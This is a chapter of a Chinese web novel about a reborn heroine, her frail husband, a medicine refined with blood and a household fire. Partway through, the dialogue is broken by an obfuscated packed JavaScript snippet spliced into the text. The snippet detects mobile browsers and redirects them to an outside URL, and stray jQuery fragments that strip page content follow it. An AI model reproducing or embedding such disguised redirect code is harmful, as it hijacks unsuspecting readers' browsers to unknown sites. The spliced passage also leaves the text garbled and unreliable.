24. 梦来双倚(四)
作品:《重生换嫁给早死姐夫后》 宴清束沉默片刻,温声问道:“夫人想听什么?”
江闻笛绕到宴清束身前,半蹲下身,与坐在圈椅上的他视线齐平:“可以同我说吗?若是涉及什么机密秘方一类,世子不便言说,只当我不曾问过就好。”
“对你,我的夫人,自然不存在什么机密秘方。”宴清束浅笑,“夫人想知道哪个方面呢?”
江闻笛见他神情轻松,周身气场温和,不似生气或者不悦,遂继续问道:“我之前听暮鸦说,这梅香丸需以血炼制,这……实在太过匪夷所思。”
宴清束垂下眼帘,纤长的睫毛在眼下扫落一小片阴影,喟叹怅然道:“我的身子情况,夫人知晓,多是先天不足,后生难补。”
“这梅香丸,是孙院使受皇命,为我调理诊治第七载时,于民间意外所得。它的药方,只有半页手掌大小的绸布……”宴清束抬手在空中划出尺寸大小,“从一本据传为神农氏尝百草的手札孤本中,翻页滑出。旭文帝知悉后,邀请各方大家齐聚,经过十余日的鉴定评估,夹带其内的绸布,据上书字体和绸体材料推断,应是大夏国时期的产物。”
“三百年前的大夏吗?”江闻笛蹙眉,“我记得大夏的制墨技艺不精,文书多以流动性不好的竹简为底,经由笔刀刻画后才蘸墨上色,不常用易污的绸料。”
“是的。”宴清束颔首认同,“所以那其实是一张,由江湖术士伪制而成的,假药方。”
“假的?那手札呢?”
“手札从某种意义上来说,也是假的。”
江闻笛露出一难言尽的表情。
宴清束浅笑道:“它虽非神农百草图谱,却是前朝初期名医韩药仙所录百余种苛症药方。因行医者,多字迹潦草,难以辨认。兜售之人单看其上画有药材,便安了个响亮的名头高炒价格。”
“既然梅香丸是假药方,那我们……”稍不留神嘴一快,江闻笛赶忙改口,“你服用的药丸是?”
宴清束神情如常:“孙院使将假药方和手扎记录融合,重新调整研制而成。”
这时风卷入内,木门推开半扇,门口传来几声恰到好处的叩击。江闻笛回头,见画眉立在门前,伸手往钱母院子的方向指了指。
宴清束抬手示意她原地等候,不疾不徐继续解释道:“血,是梅香丸的一种药引。并非不可替代,只是用我的血去炼制,药丸效果会更好。为此,孙家一直在寻能彻底替换掉我血液的药材。”
“如此,夫人可还满意?”
江闻笛想:她服用梅香丸的时日比宴清束晚上五年多,那时孙家应该已经寻到了替换药材,所以没有找她这个服药人取血制药。
霎时间,她心口闷着的恶心散去,浑身轻松,扶起宴清束从游廊绕到钱母院子,合桌坐下。
今日人少,席间气氛不错。用膳过半,江父停了与宴清束有关秋闱的话题,转而开口规劝:“宴世子若是身子无碍,还是尽快带小笛返回王府。家中近来逢多事之秋,府内不甚安稳。”
这话听得江闻笛云里雾里:“父亲,此话从何说起?哎,怎得不见青浦弟弟,该不会是他院里出事了?”
钱母长叹道:“正是你弟弟险些出事。”
“我早先时候便想着,把前院的小竹林伐了,给青浦重新建个院子。他现在的院子太靠后了,又挨厨房,又近柴房马厩的,周围又围了一大圈冷杉湘竹,一但夜里起火,那火顺着顺着就烧到他院子里了,可多危险。”
“可你父亲舍不得改建的银子,一直挡着我不让改。这不,最近就出事了。”
初听,江闻笛的心陡然悬起,看了眼父亲,又望了眼母亲,见两人神情一窘迫,一发愁,知晓弟弟多半没出大事,遂放了心,追问道:“母亲别急,您慢慢同我说?昨夜我的院中什么都没有听见,青浦弟弟到底怎得了?”
“咱家里不是一直有挺多小鸟。”钱母微顿,惆怅道,“什么燕子、画眉、百灵,一窝一窝来。数量最多的,当属后院林子那群青鸟。”
江闻笛点头。
“你和小拂新婚夜上,小厮躲懒,缩在柴房里偷偷抽叶子烟,没踩灭火星子,点着了干柴,烧了整个柴房,然后风助火势,一路烧了马厩。虽说当日人多,集合扑灭了火,没烧到青浦的院子和厨房,可周围一圈林子给烧没了啊。”
“火事迄今已过数日,昨夜也未再生,与妻弟何干?”宴清束问。
“一林子鸟,平白无故被烧了家,没地儿呆了,就整整齐齐搬家到青浦院里的树上去了。几百只喜好夜鸣的青鸟啊,唧唧咋咋叫了一个晚上,青浦那孩子一宿没睡,赶早就来和我请安,告了今日一整日的假。”钱母愁眉苦脸道,“你们说说这种长期下去,怎么行。”
“确实,青鸟夜啼,音色极亮,又数量众多,不好驱散。”江闻笛应和了一句,而后追问,“不过怎么会烧到马厩?我记得柴房和马厩相距六丈有余。傍晚起火也算显眼,怎会没人及时发现?”
江闻笛记得前世也起了火,但是只烧毁了半间柴房就被扑灭,完全不像是这一世,火势蔓延了足有十丈。
“当晚是西南劲风。”江父答,声音中流露出稍许无奈。
闻言,江闻笛猛然一怔。
很多前世的事情,这一世也发生了,但其中细枝末节与先前,却是完全不相同了。
她是真真切切又活了过来,前世的记忆和经历,现在只能当作一定的参考,不能再看成既定轨道行驶了。
“你和小拂的院子不能动。”江父深沉的声音罕见染上愁色,“府内现在也没旁的空地能给青浦换个院子。”
钱母叉腰忿忿道:“叫你伐了前院竹林,你又不干。”
江闻笛一时也没什么好办法,求助的目光下意识投向宴清束。
“岳父,若我没记错,妻弟已经过了入国子监的年岁?”宴清束放下筷子,屈指轻扣桌面,“再有两月,便是齐鲁麓承书苑的入学考验,不知妻弟可有想法前往一试?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635225|184047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如此甚好,如此甚好!”江父眉尾飞扬,畅笑道,“浦小子考完试一去一回,路上怎么都要四个月,足够把后院重建修缮完。”
接收到母亲不赞同的目光,江闻笛自觉成为嘴替,问:“齐鲁靠近南海,离京都需横跨四省,父亲打算让青浦弟弟一个人去?”
“挑两个你熟知的,走镖出身的家丁。”江父吹了吹胡子,蔑了江闻笛一眼,对钱母说道,“让他们带青浦去江北,找四弟问问。家里有没有往南海做的生意,对对日子,看能不能让钱家镖队送青浦走一段路。”
钱母应是,饭也顾不及吃了,急急起身,快步安排去了。
“小笛有没有什么想要的东西?”江父侧目慈爱道,“去和浦小子说,让他给你背回来。”
江闻笛认真思索片刻:“没有。南海除了鲜虾渔货,也就盛产夜明珠。夫君才……”
说到这里,她突然意识到一个很细的,之前忽略已久的点。
南归霄能拿到荧火夜明珠,证明他在南海,应该已经有了相当的势力。如若不然,搜罗到荧火珠的官员,不可能不献宝给旭文帝表功领赏,而是奉予皇子身的南归霄。
最起码南海这地带,南归霄的效力,已经超过了天下之主的旭文帝。
“世子怎么了?”
江闻笛笑意不失道:“夫君才将问三皇子殿下讨来的荧火珠,赠予了我。”
江父面色不变,眼底暗暗浮现出一抹凝重。江闻笛筷子不停,听父亲向宴清束问全了荧火夜明珠的事,才佯装吃好,横搁了筷。
原先她还算着再住一晚,可回到院子,见落满庭树的青鸟,江闻笛瞬间开始头昏幻疼,确定过宴清束的情况,赶忙轻装简行,返回了宴王府。
这头刚入王府大门,坐下连水都没来得及喝上一口,燕管事手端瓷盘,将茶点,连带个金丝绣字的帖子,一道送来。
“世子妃娘娘,下周五,宫里晴禾祭,需要您出席。”
江闻笛拿起缎面帖,指腹摸过其上精致的五谷绣样,心中思绪翻涌不歇。
“晴禾”,为日青禾,有日青雨云聚、青禾壮生长、日禾忙收割三重寓意。
是在三秋社祭前夕,由中宫皇后领衔,带一众妇女姑娘入耘田、插秧苗、采桑叶的女性劳作祭祀活动。
前世,她作为皇后,主持过两届,如今回想起来,只觉得头疼。
从制定名单站位,到设计邀请帖,再到把控祭祀当日的局面和维持秩序,等结束后为一地鸡毛琐事评理,没有一样是好干的。
为了摆出亲民的态度,祭祀的地点还不在宫中,要排车队去京城外的军田。一路上不少官家太太心思活络,总想借机攀上或是谈亲,往往会弄出不少小动作。她处理得头大,还不得不摆出母仪天下的宽容气度,对不少恶性事件轻轻揭过。
这一世,不知她作为宴世子妃去,又是怎么个情况。
若是可以,她是万万不想去蹚这趟浑水的,但江宜拂肯定会去……

